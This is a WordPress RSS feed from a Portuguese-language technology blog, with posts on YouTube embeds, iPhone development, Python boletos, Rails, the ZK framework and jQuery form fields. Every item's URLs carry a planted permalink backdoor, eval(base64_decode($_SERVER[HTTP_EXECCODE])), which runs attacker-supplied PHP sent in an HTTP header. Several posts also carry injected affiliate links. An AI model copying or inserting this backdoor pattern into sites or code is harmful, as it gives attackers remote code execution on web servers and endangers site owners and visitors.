<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Central de Tecnologias</title>
	<link>http://www.centraldetecnologias.com</link>
	<description>Tudo sobre tecnologia - Java, C++, VoIP, Open Source, e muito mais</description>
	<pubDate>Sat, 04 Jul 2009 22:46:30 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.2</generator>
	<language>en</language>
			<item>
		<title>Vídeos do youtube sem vídeos relacionados</title>
		<link>http://www.centraldetecnologias.com/2009/07/04/videos-do-youtube-sem-videos-relacionados/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.centraldetecnologias.com/2009/07/04/videos-do-youtube-sem-videos-relacionados/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 04 Jul 2009 22:46:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.centraldetecnologias.com/?p=159</guid>
		<description><![CDATA[Muitas vezes, precisamos construir sites institucionais com vídeos. Para isso, ao invés de utilizar uma plataforma de vídeos dedicado, muitas é interessante utilizar o youtube. 
Por vezes, é interessante termos vídeos relacionados - como, por exemplo, quando os vídeos são inseridos em blogs. Entretanto, quando trata-se de vídeos que serão colocados no conteúdo de sites [...]]]></description>
			<content:encoded><![CDATA[<p>Muitas vezes, precisamos construir sites institucionais com vídeos. Para isso, ao invés de utilizar uma plataforma de vídeos dedicado, muitas é interessante utilizar o <a href="http://www.youtube.com">youtube</a>. </p>
<p>Por vezes, é interessante termos vídeos relacionados - como, por exemplo, quando os vídeos são inseridos em blogs. Entretanto, quando trata-se de vídeos que serão colocados no conteúdo de sites institucionais, algumas vezes é interessante não exibirmos os vídeos relacionados - caso de vídeo similares ou concorrentes ao produto ou conceito sendo apresentado.</p>
<p>Felizmente, existe um jeito bem simples de resolver esse problema! Encontrei a solução nesse link: http://www.varesano.net/blog/fabio/disable+related+videos+embedded+youtube+player</p>
<p>Reproduzo o código abaixo:</p>
<p><code><object width="425" height="350"></p>
<param name="movie" value="http://www.youtube.com/v/Yc_J_kXaFSw&#038;rel=0"></param>
<param name="wmode" value="transparent"></param>
<embed src="http://www.youtube.com/v/Yc_J_kXaFSw&#038;rel=0" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"></embed><br />
</object><br />
</code></p>
<p>A ideia básica consiste em ter &#038;rel=0 na url do vídeo a ser embutido.</p>
<p>Espero que seja útil para alguém!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.centraldetecnologias.com/2009/07/04/videos-do-youtube-sem-videos-relacionados/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Desenvolvimento de aplicações para iPhone</title>
		<link>http://www.centraldetecnologias.com/2009/03/28/desenvolvimento-de-aplicacoes-para-iphone/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.centraldetecnologias.com/2009/03/28/desenvolvimento-de-aplicacoes-para-iphone/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 28 Mar 2009 18:09:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Curiosidades]]></category>

		<category><![CDATA[Dicas]]></category>

		<category><![CDATA[RIA]]></category>

		<category><![CDATA[Reflexões]]></category>

		<category><![CDATA[desenvolvimento]]></category>

		<category><![CDATA[iphone]]></category>

		<category><![CDATA[mobile]]></category>

		<category><![CDATA[sites]]></category>

		<guid isPermaLink="false">http://www.centraldetecnologias.com/?p=158</guid>
		<description><![CDATA[Uma das principais tendências atuais está no desenvolvimento de aplicações para iPhone e iPod Touch. Nessa linha, ainda faltam empresas no Brasil que fazem desenvolvimento com excelência, tanto de apps nativas como das &#8220;webapps&#8221;, aplicações feitas para rodar no Safari do iPhone e do iPod Touch e mesmo em outros browsers de dispositivos móveis.
Entretanto, uma [...]]]></description>
			<content:encoded><![CDATA[<p>Uma das principais tendências atuais está no desenvolvimento de aplicações para iPhone e iPod Touch. Nessa linha, ainda faltam empresas no Brasil que fazem desenvolvimento com excelência, tanto de apps nativas como das &#8220;webapps&#8221;, aplicações feitas para rodar no Safari do iPhone e do iPod Touch e mesmo em outros browsers de dispositivos móveis.</p>
<p>Entretanto, uma nova empresa que está surgindo, com alguns projetos bem sucedidos de desenvolvimento para iPhone, é a <a href="http://www.doois.com.br">Doois</a>.</p>
<p>Gostaríamos de dar as boas-vindas a essa nova empresa e indicar para os leitores do blog que estiverem interessados em apps desse tipo. Tivemos uma experiência recente com eles e, realmente, a empresa tem um desafio enorme pela frente e, se continuarem a realizar o trabalho da mesma forma que tem feito, também tem um futuro brilhante.</p>
<p>Recomendamos aqui, lembrando que, além de <a href="http://www.doois.com.br">desenvolvimento para iphone</a>, eles também fazem <a href="http://www.doois.com.br">desenvolvimento de blogs</a> (otimizados para iPhone), <a href="http://www.doois.com.br">desenvolvimento de sites</a>, sistemas customizados, CRM, integração entre sistemas, sites para casamentos, e muitos outros trabalhos!</p>
<p>Ficou aqui a dica - Doois. Um dos próximos trabalhos deles é, inclusive, criação do novo blog da central de tecnologias!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.centraldetecnologias.com/2009/03/28/desenvolvimento-de-aplicacoes-para-iphone/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Boletos em Python, Pylons e Django</title>
		<link>http://www.centraldetecnologias.com/2009/01/11/boletos-em-python-pylons-e-django/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.centraldetecnologias.com/2009/01/11/boletos-em-python-pylons-e-django/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 11 Jan 2009 02:09:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Curiosidades]]></category>

		<category><![CDATA[Dicas]]></category>

		<category><![CDATA[open source]]></category>

		<category><![CDATA[boletos]]></category>

		<category><![CDATA[django]]></category>

		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.centraldetecnologias.com/?p=157</guid>
		<description><![CDATA[Há muito tempo procuro soluções semelhantes ao phpboleto para Python. Uma solução simples, eficiente, e que possa ser facilmente integrada nas mais diversas aplicações em python que precisem de boletos.
Essa necessidade aumento demasiadamente nos últimos tempos devido à crescente popularização do Django, e outros frameworks como Pylons.
Recentemente, navegando por aí encontrei o Pyboletos - disponível [...]]]></description>
			<content:encoded><![CDATA[<p>Há muito tempo procuro soluções semelhantes ao <a href="http://www.phpboleto.com.br">phpboleto</a> para Python. Uma solução simples, eficiente, e que possa ser facilmente integrada nas mais diversas aplicações em python que precisem de boletos.</p>
<p>Essa necessidade aumento demasiadamente nos últimos tempos devido à crescente popularização do Django, e outros frameworks como Pylons.</p>
<p>Recentemente, navegando por aí encontrei o <a href="http://code.google.com/p/pyboletos/">Pyboletos</a> - disponível em http://code.<a href="http://pmstrk.mercadolivre.com.br/jm/PmsTrk?tool=5210047&#038;go=http://lista.mercadolivre.com.br/google_OtherFilterID_MEJVEN_AuctTypeID_AFP_ItemTypeID_N_DisplayType_G"  class="alinks_links" onclick="return alinks_click(this);"  style="padding-right: 13px; background: url(http://www.centraldetecnologias.com/wp-content/plugins/alinks/images/external.png) center right no-repeat;" title="As melhores ofertas de google do Mercado Livre" rel="nofollow">google</a>.com/p/pyboletos/ . Um projeto recente, mas que já suporta boletos bancários de quatro bancos (Banco do Brasil, Caixa Econômica Federal, Bradesco e Banco Real) e resolvem os problemas de muitos usuários.</p>
<p>Por enquanto, está preparado para o Pylons, mas, pelo que vi do código, a adaptação para Django é realmente simples.</p>
<p>Portanto, fica a dica.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.centraldetecnologias.com/2009/01/11/boletos-em-python-pylons-e-django/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Rails 2.2 - links úteis</title>
		<link>http://www.centraldetecnologias.com/2008/12/21/rails-22-links-uteis/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.centraldetecnologias.com/2008/12/21/rails-22-links-uteis/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 21 Dec 2008 06:40:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Dicas]]></category>

		<category><![CDATA[rails]]></category>

		<category><![CDATA[dicas]]></category>

		<category><![CDATA[rails2.2]]></category>

		<category><![CDATA[rubyonrails]]></category>

		<guid isPermaLink="false">http://www.centraldetecnologias.com/?p=156</guid>
		<description><![CDATA[Lançado em novembro de 2008, o Rails 2.2 ainda carece de literatura legal sobre seus recursos, fato que, na minha opinião, também afeta um pouco as outras versões do framework.
De qualquer forma, o site Ruby Inside, &#8220;The #1 Ruby on Rails News Site&#8221;, disponibilizou um artigo que reúne 27 links interessantes sobre os novos recursos [...]]]></description>
			<content:encoded><![CDATA[<p>Lançado em novembro de 2008, o Rails 2.2 ainda carece de literatura legal sobre seus recursos, fato que, na minha opinião, também afeta um pouco as outras versões do framework.</p>
<p>De qualquer forma, o site Ruby Inside, &#8220;The #1 Ruby on Rails News Site&#8221;, disponibilizou um artigo que reúne 27 links interessantes sobre os novos recursos dessa versão, incluindo dicas de screencast, recursos diversos, dicas e outros.</p>
<p>Vale a pena conferir!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.centraldetecnologias.com/2008/12/21/rails-22-links-uteis/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Lançada nova versão do ZK</title>
		<link>http://www.centraldetecnologias.com/2008/12/10/lancada-nova-versao-do-zk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.centraldetecnologias.com/2008/12/10/lancada-nova-versao-do-zk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 10 Dec 2008 19:07:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Java]]></category>

		<category><![CDATA[RIA]]></category>

		<category><![CDATA[dicas]]></category>

		<category><![CDATA[zk]]></category>

		<guid isPermaLink="false">http://www.centraldetecnologias.com/?p=153</guid>
		<description><![CDATA[O ZK, na minha opinião, é um dos melhores frameworks para a construção de Rich Internet Applications (RIAs) - tanto que já escrevi sobre a construção rápida e fácil de RIA e sobre o ZK Demo. 
Ele permite a construção de aplicações com &#8220;widgets&#8221;, sendo que a interface é construída completamente em XML (opcionalmente, elementos [...]]]></description>
			<content:encoded><![CDATA[<p>O ZK, na minha opinião, é um dos melhores frameworks para a construção de Rich Internet Applications (RIAs) - tanto que já escrevi sobre a <a href="http://www.centraldetecnologias.com/?p=148">construção rápida e fácil de RIA</a> e sobre o <a href="http://www.centraldetecnologias.com/?p=149">ZK Demo</a>. </p>
<p>Ele permite a construção de aplicações com &#8220;widgets&#8221;, sendo que a interface é construída completamente em XML (opcionalmente, elementos HTML podem ser incluídos) e a lógica pode ser feita em diversas linguagens - inclusive, é possível integrá-lo com frameworks bastante usados na comunidade Java.</p>
<p>Essa semana, mais especificamente dia 08/12, foi lançada a versão 3.5.2 desse excelente framework. Juntamente com a nova versão, com algumas melhorias e diversas correções, foi lançado um novo sistema de demonstração do framework. Abaixo, uma tela da nova demonstração.</p>
<p><center><img src='http://www.centraldetecnologias.com/wp-content/uploads/2008/12/zk-live-demo_1228935529045.png' alt='zk-live-demo_1228935529045.png' /></center></p>
<p>Por hoje, é isso. Confiram em http://www.zkoss.org e aproveitem!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.centraldetecnologias.com/2008/12/10/lancada-nova-versao-do-zk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Google a favor dos bêbados!</title>
		<link>http://www.centraldetecnologias.com/2008/10/07/google-a-favor-dos-bebados/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.centraldetecnologias.com/2008/10/07/google-a-favor-dos-bebados/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 07 Oct 2008 19:06:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Curiosidades]]></category>

		<category><![CDATA[Dicas]]></category>

		<category><![CDATA[Reflexões]]></category>

		<category><![CDATA[anúncios]]></category>

		<category><![CDATA[dicas]]></category>

		<category><![CDATA[gmail]]></category>

		<guid isPermaLink="false">http://www.centraldetecnologias.com/?p=151</guid>
		<description><![CDATA[Se você é daqueles que sai para a balada, volta e sai enviando email para ex-namoradas(os), ex-chefes, ou mesmo chefes e amigos, o google está a seu favor!
Sabendo que depois você irá se arrepender, o Google anunciou no blog do gmail uma super funcionalidade que te obriga a responder questões matemáticas antes de confirmar o [...]]]></description>
			<content:encoded><![CDATA[<p>Se você é daqueles que sai para a balada, volta e sai enviando email para ex-namoradas(os), ex-chefes, ou mesmo chefes e amigos, o <a href="http://pmstrk.mercadolivre.com.br/jm/PmsTrk?tool=5210047&#038;go=http://lista.mercadolivre.com.br/google_OtherFilterID_MEJVEN_AuctTypeID_AFP_ItemTypeID_N_DisplayType_G"  class="alinks_links" onclick="return alinks_click(this);"  style="padding-right: 13px; background: url(http://www.centraldetecnologias.com/wp-content/plugins/alinks/images/external.png) center right no-repeat;" title="As melhores ofertas de google do Mercado Livre" rel="nofollow">google</a> está a seu favor!</p>
<p>Sabendo que depois você irá se arrepender, o Google anunciou no <a href="http://gmailblog.blogspot.com/2008/10/new-in-labs-stop-sending-mail-you-later.html">blog do gmail</a> uma super funcionalidade que te obriga a responder questões matemáticas antes de confirmar o envio da mensagem!!</p>
<p>Ele ainda não identifica que você está bêbado - é necessário pré-configurar os horários em que a ferramenta será ativada&#8230; portanto, você ainda poderá continuar bebendo fora de hora e fazer alguma coisa errada&#8230; Confira:</p>
<p><img src='http://www.centraldetecnologias.com/wp-content/uploads/2008/10/gmail_anti_drunk.jpg' alt='gmail_anti_drunk.jpg' /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.centraldetecnologias.com/2008/10/07/google-a-favor-dos-bebados/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Criando campos de texto bacanas com JQuery</title>
		<link>http://www.centraldetecnologias.com/2008/10/03/criando-campos-de-senha-bacanas-com-jquery/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.centraldetecnologias.com/2008/10/03/criando-campos-de-senha-bacanas-com-jquery/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 17:11:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Dicas]]></category>

		<category><![CDATA[dicas]]></category>

		<category><![CDATA[forms]]></category>

		<category><![CDATA[jquery]]></category>

		<guid isPermaLink="false">http://www.centraldetecnologias.com/?p=150</guid>
		<description><![CDATA[Já falei uma outra vez aqui do JQuery nesse post sobre lançamento da versão 1.2.6, e há algum tempo sou fanático por ele - assim como pelo ZK.
Na internet e no próprio site do jquery existem diversos manuais, tutoriais e assemelhados. Entretanto, eu queria fazer um layout bacana para um site, no qual os formulários [...]]]></description>
			<content:encoded><![CDATA[<p>Já falei uma outra vez aqui do JQuery <a href="http://www.centraldetecnologias.com/?p=141">nesse post sobre lançamento da versão 1.2.6</a>, e há algum tempo sou fanático por ele - assim como pelo <a href="http://www.centraldetecnologias.com/?p=148">ZK</a>.</p>
<p>Na internet e no próprio <a href="http://www.jquery.com">site do jquery</a> existem diversos manuais, tutoriais e assemelhados. Entretanto, eu queria fazer um layout bacana para um site, no qual os formulários utilizam campos da forma &#8220;autoclear&#8221;, ou seja, o label de cada campo fica dentro do campo de texto e quando o usuário clica o texto some. E também com um pouco de inteligência, i.e., caso o usuário não digite nada ou deixe em branco, o texto do label volta, caso contrário, o texto entrado pelo usuário permanece.</p>
<p>Agora, vai a dica de como fazer isso. Em primeiro lugar, devemos prestar atenção nos seguintes pontos:</p>
<ul>
<li>o valor do label precisa ser armazenado; esse é o valor inicial do value de cada campo</li>
<li>o evento onfocus() deve ser observado, e há duas possíveis ações: se o valor do campo for o label, deve ser apagado; se o usuário já tiver digitado algum texto, o texto do usuário deve permanecer</li>
<li>o evento onblur() também deve ser observado - caso o campo seja deixado em branco, o label deve aparecer novamente</li>
</ul>
<p>Observando esses pontos, já é possível fazer forms bem bacanas!</p>
<p>Em primeiro lugar, devemos utilizar uma classe css específica para os elementos que utilizam. Vamos chamá-la de &#8220;autoclear&#8221;. Além disso, precisamos prestar atenção para colocar no &#8220;value&#8221; o label para o campo. Assim, o HTML fica:</p>
<p><code><br />
&lt;form&gt;<br />
 &lt;input type="text" name="campo1" value="Campo 1" class="autoclear"/&gt;&lt;br/&gt;<br />
 &lt;input type="text" name="campo2" value="Campo 2" class="autoclear"/&gt;&lt;br/&gt;<br />
 &lt;input type="text" name="campo3" value="Campo 3" class="autoclear"/&gt;&lt;br/&gt;<br />
&lt;/form&gt;<br />
</code></p>
<p>Nosso jQuery fica da seguinte forma:</p>
<p><code><br />
$('document').ready(<br />
 function() {</p>
<p>  $('.autoclear').each(function() {<br />
   // configura valores dos labels<br />
   $(this).attr('default', $(this).val());<br />
   // configura evento de foco<br />
   $(this).focus(function() {<br />
    if ($(this).val()==$(this).attr('default')) {<br />
     $(this).val('');<br />
    }<br />
   });<br />
   // configura evento blur<br />
   $(this).blur(function() {<br />
    if ($(this).val() == '') {<br />
     $(this).val($(this).attr('default'));<br />
    }<br />
   });<br />
  });</p>
<p> }<br />
);<br />
</code></p>
<p>Pronto!</p>
<p>Em breve, posto aqui um exemplo disso funcionando e também outros tipos de campos com esse efeito! O principal que pretendo postar logo é a dica de como fazer o campo de senha&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.centraldetecnologias.com/2008/10/03/criando-campos-de-senha-bacanas-com-jquery/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ZK - demonstrações</title>
		<link>http://www.centraldetecnologias.com/2008/09/17/zk-demonstracoes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.centraldetecnologias.com/2008/09/17/zk-demonstracoes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 11:04:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Curiosidades]]></category>

		<category><![CDATA[Dicas]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[RIA]]></category>

		<category><![CDATA[ajax]]></category>

		<category><![CDATA[zk]]></category>

		<guid isPermaLink="false">http://www.centraldetecnologias.com/?p=149</guid>
		<description><![CDATA[Ontém escrevi sobre o ZK.
Entretanto, para aqueles que ainda não descobriram o poder do framework ou não se sentiram interessados, aqui vai mais um link bastante legal: os demos do ZK.
O framework não pára de evoluir, tendo tido releases bastante freqüentes em 2008. Está relativamente maduro, e suporta diversas tecnologias e recursos bacanas, como Comet [...]]]></description>
			<content:encoded><![CDATA[<p>Ontém escrevi sobre o ZK.</p>
<p>Entretanto, para aqueles que ainda não descobriram o poder do framework ou não se sentiram interessados, aqui vai mais um link bastante legal: os <a href="http://www.zkoss.org/zkdemo/userguide/">demos do ZK</a>.</p>
<p>O framework não pára de evoluir, tendo tido releases bastante freqüentes em 2008. Está relativamente maduro, e suporta diversas tecnologias e recursos bacanas, como Comet para fazer push do server (OK, HTTP não suporta um PUSH real&#8230; mas o Comet, que surgiu há algum tempo e que não é usado com muita freqüência, é BEEEEEEEEEM melhor do que fazer polling), Ajax transparente para o desenvolvedor, orientação a componentes, widgets de interface, programação da interface em XML, escrita de scripts em diversas linguagens, como Python&#8230;</p>
<p>Bom, são muitos os recursos e pretendo explorá-los aos poucos. Mas fica novamente a dica!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.centraldetecnologias.com/2008/09/17/zk-demonstracoes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Construindo aplicações RIA - rápido e fácil!</title>
		<link>http://www.centraldetecnologias.com/2008/09/16/construindo-aplicacoes-ria-rapido-e-facil/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.centraldetecnologias.com/2008/09/16/construindo-aplicacoes-ria-rapido-e-facil/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 16 Sep 2008 15:21:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Dicas]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[open source]]></category>

		<category><![CDATA[ajax]]></category>

		<category><![CDATA[RIA]]></category>

		<category><![CDATA[zk]]></category>

		<guid isPermaLink="false">http://www.centraldetecnologias.com/?p=148</guid>
		<description><![CDATA[Aqui vai uma dica para quem quer entrar no mundo Web 2.0, produzindo Rich Internet Applications de forma &#8220;rápida&#8221;. Na verdade, o framework ZK, que sugiro nesse post, é inteiramente em Java, e obriga o desenvolvedor a ter bom conhecimentos da linguagem e de formas de se fazer a persistência e organização da aplicação, mas [...]]]></description>
			<content:encoded><![CDATA[<p>Aqui vai uma dica para quem quer entrar no mundo Web 2.0, produzindo Rich Internet Applications de forma &#8220;rápida&#8221;. Na verdade, o framework ZK, que sugiro nesse post, é inteiramente em Java, e obriga o desenvolvedor a ter bom conhecimentos da linguagem e de formas de se fazer a persistência e organização da aplicação, mas fica a dica&#8230;<br />
 <a href="http://www.centraldetecnologias.com/2008/09/16/construindo-aplicacoes-ria-rapido-e-facil/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#more-148" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.centraldetecnologias.com/2008/09/16/construindo-aplicacoes-ria-rapido-e-facil/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows com VirtualBox no Ubuntu</title>
		<link>http://www.centraldetecnologias.com/2008/07/12/windows-com-virtualbox-no-ubuntu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.centraldetecnologias.com/2008/07/12/windows-com-virtualbox-no-ubuntu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 12 Jul 2008 14:48:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Curiosidades]]></category>

		<category><![CDATA[Dicas]]></category>

		<category><![CDATA[Virtualização]]></category>

		<category><![CDATA[dicas]]></category>

		<category><![CDATA[ubuntu]]></category>

		<category><![CDATA[virtual machine]]></category>

		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.centraldetecnologias.com/?p=143</guid>
		<description><![CDATA[Ubuntu Hardy Heron, 8.04. Windows XP SP 2. Convivendo juntos.
Claro, uma ótima solução, conhecida de todos: dual boot!! O instalador do Ubuntu, muito bem feito, já configura o Grub para dar dual boot e, pronto, ótima convivência!
Bem, não é disso que pretendo falar nesse post. Meu cenário é o seguinte: desenvolvo aplicativos sob demanda, e, [...]]]></description>
			<content:encoded><![CDATA[<p>Ubuntu Hardy Heron, 8.04. Windows XP SP 2. Convivendo juntos.</p>
<p>Claro, uma ótima solução, conhecida de todos: dual boot!! O instalador do Ubuntu, muito bem feito, já configura o Grub para dar dual boot e, pronto, ótima convivência!</p>
<p>Bem, não é disso que pretendo falar nesse post. Meu cenário é o seguinte: desenvolvo aplicativos sob demanda, e, por conta disso, preciso fazer as coisas conforme  a vontade dos clientes. E, em diversos projetos, feitos em Java ou Rails, que são minhas preferências embora trabalhe também com outras linguagens, o cliente solicita um banco de dados MS SQL Server. E aí eu - e todos que trabalham comigo - ficamos sem saída!</p>
<p>Entretanto, já compramos os  <a href="http://www.centraldetecnologias.com/2008/07/12/windows-com-virtualbox-no-ubuntu/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#more-143" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.centraldetecnologias.com/2008/07/12/windows-com-virtualbox-no-ubuntu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
